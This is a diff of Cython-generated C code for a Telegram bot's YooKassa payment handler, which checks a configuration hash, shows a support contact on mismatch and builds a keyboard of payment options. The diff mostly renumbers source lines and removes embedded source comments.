__pyx_n_s_process_callback_pay_yookassa, __pyx_n_s_process_callback_pay_yookassa, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -4388,42 +4413,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 60, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 61, __pyx_L1_error) - /* "handlers/payments/yookassa_pay.py":65 - * ): - * - * expected_hash = "HASHHASHYOOKASSA" # <<<<<<<<<<<<<< - * if YOOKASSA_HASH != expected_hash: - * logger.error(" ! !") - */ __Pyx_INCREF(__pyx_n_u_HASHHASHYOOKASSA); __Pyx_GIVEREF(__pyx_n_u_HASHHASHYOOKASSA); __pyx_cur_scope->__pyx_v_expected_hash = __pyx_n_u_HASHHASHYOOKASSA; - /* "handlers/payments/yookassa_pay.py":66 - * - * expected_hash = "HASHHASHYOOKASSA" - * if YOOKASSA_HASH != expected_hash: # <<<<<<<<<<<<<< - * logger.error(" ! !") - * await callback_query.message.answer( - */ - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 66, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 66, __pyx_L1_error) + __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_2) { - /* "handlers/payments/yookassa_pay.py":67 - * expected_hash = "HASHHASHYOOKASSA" - * if YOOKASSA_HASH != expected_hash: - * logger.error(" ! !") # <<<<<<<<<<<<<< - * await callback_query.message.answer( - * text=" , @solonet_sup." - */ - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 67, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -4444,44 +4448,23 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u__2}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 67, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":68 - * if YOOKASSA_HASH != expected_hash: - * logger.error(" ! !") - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=" , @solonet_sup." - * ) - */ - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 68, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 68, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":69 - * logger.error(" ! !") - * await callback_query.message.answer( - * text=" , @solonet_sup." # <<<<<<<<<<<<<< - * ) - * return - */ - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 69, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 70, __pyx_L1_error) - /* "handlers/payments/yookassa_pay.py":68 - * if YOOKASSA_HASH != expected_hash: - * logger.error(" ! !") - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=" , @solonet_sup." - * ) - */ - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 68, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -4496,62 +4479,34 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 68, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 69, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 68, __pyx_L1_error) + else __PYX_ERR(0, 69, __pyx_L1_error) } } - /* "handlers/payments/yookassa_pay.py":71 - * text=" , @solonet_sup." - * ) - * return # <<<<<<<<<<<<<< - * tg_id = callback_query.message.chat.id - * - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L0; - /* "handlers/payments/yookassa_pay.py":66 - * - * expected_hash = "HASHHASHYOOKASSA" - * if YOOKASSA_HASH != expected_hash: # <<<<<<<<<<<<<< - * logger.error(" ! !") - * await callback_query.message.answer( - */ } - /* "handlers/payments/yookassa_pay.py":72 - * ) - * return - * tg_id = callback_query.message.chat.id # <<<<<<<<<<<<<< - * - * builder = InlineKeyboardBuilder() - */ - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":74 - * tg_id = callback_query.message.chat.id - * - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * - * for i in range(0, len(PAYMENT_OPTIONS), 2): - */ - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = NULL; __pyx_t_5 = 0; @@ -4571,7 +4526,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co PyObject *__pyx_callargs[2] = {__pyx_t_4, NULL}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -4579,31 +4534,24 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":76 - * builder = InlineKeyboardBuilder() - * - * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( - */ - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_6 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_6 == ((Py_ssize_t)-1))) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_6 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_6 == ((Py_ssize_t)-1))) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_int_0)) __PYX_ERR(0, 76, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_int_0)) __PYX_ERR(0, 77, __pyx_L1_error); __Pyx_GIVEREF(__pyx_t_3); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_3)) __PYX_ERR(0, 76, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error); __Pyx_INCREF(__pyx_int_2); __Pyx_GIVEREF(__pyx_int_2); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_int_2)) __PYX_ERR(0, 76, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_int_2)) __PYX_ERR(0, 77, __pyx_L1_error); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (likely(PyList_CheckExact(__pyx_t_3)) || PyTuple_CheckExact(__pyx_t_3)) { @@ -4611,9 +4559,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_t_6 = 0; __pyx_t_7 = NULL; } else { - __pyx_t_6 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_6 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_7 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 77, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; for (;;) { @@ -4622,28 +4570,28 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co { Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_1); #if !CYTHON_ASSUME_SAFE_MACROS - if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 76, __pyx_L1_error) + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 77, __pyx_L1_error) #endif if (__pyx_t_6 >= __pyx_temp) break; } #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS - __pyx_t_3 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_3 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 77, __pyx_L1_error) #else - __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); #endif } else { { Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_1); #if !CYTHON_ASSUME_SAFE_MACROS - if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 76, __pyx_L1_error) + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 77, __pyx_L1_error) #endif if (__pyx_t_6 >= __pyx_temp) break; } #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS - __pyx_t_3 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_3 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 77, __pyx_L1_error) #else - __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); #endif } @@ -4653,7 +4601,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); - else __PYX_ERR(0, 76, __pyx_L1_error) + else __PYX_ERR(0, 77, __pyx_L1_error) } break; } @@ -4664,172 +4612,102 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __Pyx_GIVEREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":77 - * - * for i in range(0, len(PAYMENT_OPTIONS), 2): - * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< - * builder.row( - * InlineKeyboardButton( - */ - __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_8 = PyObject_Length(__pyx_t_4); if (unlikely(__pyx_t_8 == ((Py_ssize_t)-1))) __PYX_ERR(0, 77, __pyx_L1_error) + __pyx_t_8 = PyObject_Length(__pyx_t_4); if (unlikely(__pyx_t_8 == ((Py_ssize_t)-1))) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = PyInt_FromSsize_t(__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 77, __pyx_L1_error) + __pyx_t_4 = PyInt_FromSsize_t(__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_9 = PyObject_RichCompare(__pyx_t_3, __pyx_t_4, Py_LT); __Pyx_XGOTREF(__pyx_t_9); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 77, __pyx_L1_error) + __pyx_t_9 = PyObject_RichCompare(__pyx_t_3, __pyx_t_4, Py_LT); __Pyx_XGOTREF(__pyx_t_9); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_9); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 77, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_9); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__pyx_t_2) { - /* "handlers/payments/yookassa_pay.py":78 - * for i in range(0, len(PAYMENT_OPTIONS), 2): - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], - */ - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 78, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - /* "handlers/payments/yookassa_pay.py":79 - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', - */ - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - /* "handlers/payments/yookassa_pay.py":80 - * builder.row( - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< - * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', - * ), - */ - __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 80, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_11); - __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 80, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_12); - __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 80, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_11); - __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 80, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - - /* "handlers/payments/yookassa_pay.py":81 - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< - * ), - * InlineKeyboardButton( - */ __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 81, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 81, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_12); - __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 81, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_11); - __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 80, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - /* "handlers/payments/yookassa_pay.py":79 - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', - */ - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - /* "handlers/payments/yookassa_pay.py":83 - * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', - * ), - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i + 1]["text"], - * 